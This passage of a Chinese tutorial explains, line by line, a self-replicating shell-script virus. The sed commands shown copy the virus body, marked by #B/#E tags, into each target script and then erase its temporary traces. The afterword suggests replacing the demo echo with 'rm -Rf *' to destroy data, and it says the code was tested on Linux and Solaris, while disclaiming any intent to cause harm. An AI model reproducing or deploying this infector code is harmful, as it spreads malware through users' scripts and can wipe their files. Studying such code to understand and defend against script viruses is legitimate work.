这是干嘛?好像挺复杂,不过学shell病毒不了解awk和正规表达式好像有点说不过去吧,这个就是找到程序开始的注释和空白行有多少,好方便我们确定病毒体插入点。
sed -n "1,${vNo}p" $vTmp >$f
一个sed命令把目标文件的开始注释部分从备份文件中copy回来。
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f
再来一个sed完成搬运病毒体的工作。
vNo=`expr $vNo + 1`
sed -n "${vNo},\$p" $vTmp >>$f
最后一个sed把目标文件的其他部分搬回来,sed真强大呀!!
rm -f $vTmp
清理一下临时文件。
done >/dev/null 2>&1
循环结束。
unset vTmp ;unset vFile ;unset vNo
清理一下犯罪现场。
echo "Hi, here is a demo shell virus in your script !"
都感染了好歹也要显示点东西以告诉别人这是个被病毒感染过的程序吧。
#E:<+!a%C&t:>
病毒体结束标记,用于程序复制自己定位用。
5.后记
从中我们可以看到脚本病毒非常简单,不需要很多知识就能写一个,而且病毒破坏力也是不可小视比如我们的程序里把echo信息改为rm -Rf * ;同时反方面也展示了shell的强大之处,试想传统的程序光是处理PE文件结构和ELF结构就得花多少功夫。
上面得程序已经在Linux和Solaris上测试通过,Windows上得用户在Cygwin上应该也行。
顺便再强调一次,写这篇文章得目的是和大家分享一下对病毒得理解,而不是教写病毒出去害人,切记切记!